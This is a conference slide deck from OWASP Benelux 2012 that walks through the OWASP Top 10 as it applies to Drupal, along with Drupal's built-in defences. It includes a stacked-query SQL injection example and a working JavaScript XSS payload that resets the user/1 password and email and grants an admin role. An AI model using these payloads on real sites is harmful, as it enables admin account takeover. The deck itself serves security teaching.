OWASP Top 10 vs Drupal - OWASP Benelux 2012

OWASP Top 10 vs Drupal
OWASP Benelux Conference 2012
Erwin Geirnaert: CEO & Application Security Expert

Agenda

• About me
• Drupal Core Security
• OWASP Top 10 vs Drupal

Securing Drupal

Drupal Core Security

Automated code review

• Checkmarx is a recognized vendor of
Source Code Analysis (SCA)
• Automated code review of Drupal 6 and
Drupal 7
• Only issues identified in the Drupal back-
end
• Admin access = root access

Drupal 6 Most vulnerable pages

Drupal 7 Most vulnerable pages

Arbitrary PHP code execution

• A bug in the installer code was identified that allows an
attacker to re-install Drupal using an external database server
under certain transient conditions. This could allow the
attacker to execute arbitrary PHP code on the original server.

• This vulnerability is mitigated by the fact that the re-installation
can only be successful if the site's settings.php file or sites
directories are writeable by or owned by the webserver user.
Configuring the Drupal installation to be owned by a different
user than the webserver user (and not to be writeable by the
webserver user) is a recommended security best practice.
However, in all cases the transient conditions expose
information to an attacker who accesses install.php, and
therefore this security update should be applied to all Drupal 7
sites.
Business logic flaw!!!

Securing Drupal

OWASP Top 10 vs Drupal

OWASP Top Ten (2010 Edition)

http://www.owasp.org/index.php/Top_10

A1 – Injection

Injection means…

• Tricking an application into including unintended commands in the data
sent to an interpreter

Interpreters…

• Take strings and interpret them as commands
• SQL, OS Shell, LDAP, XPath, Hibernate, etc…

SQL injection is still quite common

• Many applications still susceptible (really don‟t know why)
• Even though it‟s usually very simple to avoid

Typical Impact

• Usually severe. Entire database can usually be read or modified
• May also allow full database schema, or account access, or even OS
level access

A1-Injection

• Where is the bug?

A1-Injection

• How not to do it
db_query("SELECT * FROM {users} WHERE uid = $uid");

• How can this be exploited?
$uid = $_GET[„id‟]; //they don‟t pass an integer as expected
 hacker requests: drupal.org?id=1;Update {users}
SET mail=„malicious@hacker.com‟ WHERE uid = 1;

db_query("SELECT * FROM {users} WHERE uid = $uid");
becomes SELECT * FROM {users} WHERE uid = 1;Update {users}
SET mail=„malicious@hacker.com‟ WHERE uid = 1;

A1-Injection

• Prevent injection using Drupal API
properly
db_query("SELECT * FROM {users} WHERE uid = %d", $uid);

• The db_query method does sanitizing for
you.

A2 – Cross-Site Scripting (XSS)

Occurs any time…

• Raw data from attacker is sent to an innocent user‟s browser

Raw data…

• Stored in database
• Reflected from web input (form field, hidden field, URL, etc…)
• Sent directly into rich JavaScript client

Virtually every web application has this problem

• Try this in your browser – javascript:alert(document.cookie)

Typical Impact

• Steal user‟s session, steal sensitive data, rewrite web page, redirect user
to phishing or malware site
• Most Severe: Install XSS proxy which allows attacker to observe and direct
all user‟s behavior on vulnerable site and force user to other sites

A2-Cross Site Scripting (XSS)

• Where is the bug?


• How does it happen?
print $_GET[„error‟];

• At first sight it looks harmless, right?
• WRONG!!!
• An actual example of XSS to change
users‟ password & change roles.


• <script>
// Test for the presence of jquery.
if (typeof jQuery == 'function') {
// Fetch a correct token from user/1/edit because we will need it to
// successfully submit the user edit form later.
// TODO: Include a check to increase the chance that the current user is admin,
// which will reduce the number of access denied error messages in the log.
jQuery.get(Drupal.settings.basePath + 'user/1/edit',
function (data, status) {
if (status == 'success') {
// Extract the token and other required data
var matches = data.match(/name="name" value="([a-zA-Z0-9])"/);
var name = matches[1];
var mail = 'greg.knaddison+evilguy@acquia.com';
var matches = data.match(/name="form_token" value="([a-zA-Z0-9_-])"/);
var token = matches[1];
var matches = data.match(/name="form_build_id" value="(form-[a-zA-Z0-9_-]*)"/);
var build_id = matches[1];
// Post the minimum amount of fields. Other fields get their default values.
var payload = {
"name": name,
"mail": mail,
"form_id": 'user_profile_form', http://crackingdrupal.com/blog/gre
"form_token": token,
build_id : build_id,
"pass[pass1]": 'hacked',
ggles/update-uid1-password-
"pass[pass2]": 'hacked',
"roles[3]": 3 javascript-ported-drupal-6x
};
jQuery.post(Drupal.settings.basePath + 'user/1/edit', payload);
}
}
);
}
</script>


• If code like before gets executed by a
privileged user: GAME OVER


• How to prevent it?
Drupal offers a range of tools:
• Filter_xss()  Filters HTML to prevent cross-site-scripting (XSS)
vulnerabilities.
• Check_Plain() Encodes special characters in a plain-text string for display
as HTML.
• Check_url()  Strips dangerous protocols from a URI and encodes it for
output to HTML.


• It is more important to think of a proper
way of handling data & error messages,
rather than mending wounds later.
• E.g:
Proper error handling
drupal_set_message(„An error occured‟, „error‟);

A3 – Broken Authentication and Session
Management

HTTP is a “stateless” protocol

• Means credentials have to go with every request
• Should use SSL for everything requiring authentication

Session management flaws

• SESSION ID used to track state since HTTP doesn‟t
• and it is just as good as credentials to an attacker
• SESSION ID is typically exposed on the network, in browser, in logs, …

Beware the side-doors

• Change my password, remember my password, forgot my
password, secret question, logout, email address, etc…

Typical Impact

• User accounts compromised or user sessions hijacked

A3-Broken Authentication and Session
Management

Management

• In Drupal user accounts and
authentication are managed by Drupal
core.
• Authentication cookies and a user's name,
ID, and password are managed on the
server to prevent a user from easily
escalating their authorization.
• Passwords are NEVER emailed.

Management

• User passwords, in Drupal 7, are salted
and hashed using an algorithm based on
the Portable PHP Password
• Hashing Framework and sessions are
destroyed upon login and logout.

A4 – Insecure Direct Object References

How do you protect access to your data?

• This is part of enforcing proper “Authorization”, along with
A7 – Failure to Restrict URL Access

A common mistake …

• Only listing the „authorized‟ objects for the current user, or
• Hiding the object references in hidden fields
• … and then not enforcing these restrictions on the server side
• This is called presentation layer access control, and doesn‟t work
• Attacker simply tampers with parameter value

Typical Impact

• Users are able to access unauthorized files or data

A4-Insecure Direct Object References

A direct object reference occurs when a
developer exposes a reference to an internal
implementation object, such as a file,
directory, or database key. Without an
access control check or other protection,
attackers can manipulate these references
to access unauthorized data.


• Drupal provides, in most cases, a direct
reference (node/[id], user/[id], ..) to its
entities.
• At the moment there is no core solution to
prevent direct referencing. There are
community contributed modules to
obfuscate.


What is the risk?
• If you have private pages that aren‟t
referenced on your website but aren‟t
properly protected, they can still be found
simply by crawling node/1, node/2, node/3.
etc..


To deal with this:
• Ensure proper permissions are configured
at all times for content types & pages
specifically
• Protection against semantic forgery
attacks is implemented in Drupal core via
the Form API

A5 – Cross Site Request Forgery (CSRF)

Cross Site Request Forgery

• An attack where the victim‟s browser is tricked into issuing a command to
a vulnerable web application
• Vulnerability is caused by browsers automatically including user
authentication data (session ID, IP address, Windows domain
credentials, …) with each request

Imagine…

• What if a hacker could steer your mouse and get you to click on links in
your online banking application?
• What could they make you do?

Typical Impact

• Initiate transactions (transfer funds, logout user, close account)
• Access sensitive data
• Change account details

A5-Cross Site Request Forgery (CSRF)

A CSRF attack forces a logged-on victim‟s
browser to send a forged HTTP request,
including the victim‟s session cookie and
any other automatically included
authentication information, to a vulnerable
web application. This allows the attacker to
force the victim‟s browser to generate
requests the vulnerable application thinks
are legitimate requests from the victim.


• Drupal validates user intention in actions
using industry standard techniques.
Typical actions with side-effects (e.g.
delete database objects) are generally
conducted with the HTTP POST method.
With AJAX you can easily create
HTTP POST XmlHTTPRequests

Combine this with XSS 


You can add security tokens to links

When you access the path you can check
the token validity


• Drupal's Form API implements unique
form tokens to protect against CSRF in
POST requests.
• Less important actions can leverage the
one-time token generation and validation
functions of the Form API while still using
an HTTP GET request.

A6 – Security Misconfiguration

Web applications rely on a secure foundation

• Everywhere from the OS up through the App Server
• Don‟t forget all the libraries you are using!!

Is your source code a secret?

• Think of all the places your source code goes
• Security should not require secret source code

CM must extend to all parts of the application

• All credentials should change in production

Typical Impact

• Install backdoor through missing OS or server patch
• XSS flaw exploits due to missing application framework patches
• Unauthorized access to default accounts, application functionality or
data, or unused but accessible functionality due to poor server configuration

A6-Security Misconfiguration

• Avoid using FTP at all cost (Total
Commander is the enemy)
• Keep your OS, PHP, SQL server, etc. up
to date
• Avoid any kind of PHP input, write your
own modules instead
• SSH access from everywhere?
• /user/admin accessible from everywhere?


• Drupal guides you fairly well through the
configuration of your website when you‟re
installing it.
• The status report page keeps you up to
date on out of date modules or settings
that aren‟t correct.


• Drupal keeps a list of best practices online
that will help you configure your website
with optimal security.

http://drupal.org/security/secure-configuration

A7 – Insecure Cryptographic Storage

Storing sensitive data insecurely

• Failure to identify all sensitive data
• Failure to identify all the places that this sensitive data gets stored
• Databases, files, directories, log files, backups, etc.
• Failure to properly protect this data in every location

Typical Impact

• Attackers access or modify confidential or private information
• e.g, credit cards, health care records, financial data (yours or your
customers)
• Attackers extract secrets to use in additional attacks
• Company embarrassment, customer dissatisfaction, and loss of trust
• Expense of cleaning up the incident, such as forensics, sending
apology letters, reissuing thousands of credit cards, providing identity
theft insurance
• Business gets sued and/or fined

A7-Insecure Cryptographic Storage

• Many web applications do not properly
protect sensitive data, such as credit
cards, SSNs, and authentication
credentials, with appropriate encryption or
hashing. Attackers may steal or modify
such weakly protected data to conduct
identity theft, credit card fraud, or other
crimes.

A7-Insecure Cryptographic Storage

• Drupal is modeled on the Portable PHP
Password Framework
• Drupal provides a randomly generated
private key for every installation. Modules
can use this key to use reversible
encryption for sensitive data like credit-
card numbers.

A8 – Failure to Restrict URL Access

How do you protect access to URLs (pages)?

• This is part of enforcing proper “authorization”, along with
A4 – Insecure Direct Object References

A common mistake …

• Displaying only authorized links and menu choices
• This is called presentation layer access control, and doesn‟t work
• Attacker simply forges direct access to „unauthorized‟ pages

Typical Impact

• Attackers invoke functions and services they‟re not authorized for
• Access other user‟s accounts and data
• Perform privileged actions

A8-Failure to Restrict URL Access

• Drupal is a powerful permission-based
system which checks permissions for
every URL request, even if the URL path
is set to allow everyone access.


Custom module example
/**
* Implements hook_permission().
*/
function mymodule_permission() {
return array(
„mymodule_custom_permission' => array(
'title' => t('My module custom permission'),
'description' => t(„A custom permission setting for my module.'),
),
);
}

/**
* Implements hook_menu().
*/
function mymodule_menu() {
return array(
„custom/path/to/mymodule' => array(
'title' => „My module path„,
'page callback' => „mymodule_custom_permission ',
'access arguments' => array('access content'),
'type' => MENU_CALLBACK,
),
);
}


• In previous example a custom permission
was made and a path was defined using
this permission for access check.
• This setting will create a permission
setting which you can assign to every role
separatly.

A9 – Insufficient Transport Layer
Protection

Transmitting sensitive data insecurely

• Failure to identify all sensitive data
• Failure to identify all the places that this sensitive data is sent
• On the web, to backend databases, to business partners, internal
communications
• Failure to properly protect this data in every location

Typical Impact

• Attackers access or modify confidential or private information
• e.g, credit cards, health care records, financial data (yours or your
customers)
• Attackers extract secrets to use in additional attacks
• Company embarrassment, customer dissatisfaction, and loss of trust
• Expense of cleaning up the incident
• Business gets sued and/or fined

A9-Insufficient Transport Layer
Protection

• Drupal supports the use of SSL when
accepting connections and rendering
internal links.
Drupal provides several options including:
– full SSL
– no-SSL
– mixed-mode SSL

A10 – Unvalidated Redirects and
Forwards

Web application redirects are very common

• And frequently include user supplied parameters in the destination URL
• If they aren‟t validated, attacker can send victim to a site of their choice

Forwards (aka Transfer in .NET) are common too

• They internally send the request to a new page in the same application
• Sometimes parameters define the target page
• If not validated, attacker may be able to use unvalidated forward to
bypass authentication or authorization checks

Typical Impact

• Redirect victim to phishing or malware site
• Attacker‟s request is forwarded past security checks, allowing
unauthorized function or data access

A10-Unvalidated Redirects and Forwards

A10-Unvalidated Redirects and Forwards

• Internal page redirects cannot be modified
to circumvent Drupal's core menu and
access control system. This includes form
redirects as well as flat url redirects

So is Drupal secure?

• Core has no typical issues
• Built-in validators and filters
• Be carefull with custom code!
• Be carefull with external modules!
• Watch out for business logic flaws!

Drupal 8 is coming

• Totally different approach
• More object-oriented
• Symphony framework

Questions?

erwin.geirnaert@zionsecurity.com
@ZIONSECURITY

www.zionsecurity.com
blog.zionsecurity.com

OWASP Top 10 vs Drupal - OWASP Benelux 2012

More Related Content

What's hot

Similar to OWASP Top 10 vs Drupal - OWASP Benelux 2012

Recently uploaded

OWASP Top 10 vs Drupal - OWASP Benelux 2012

Editor's Notes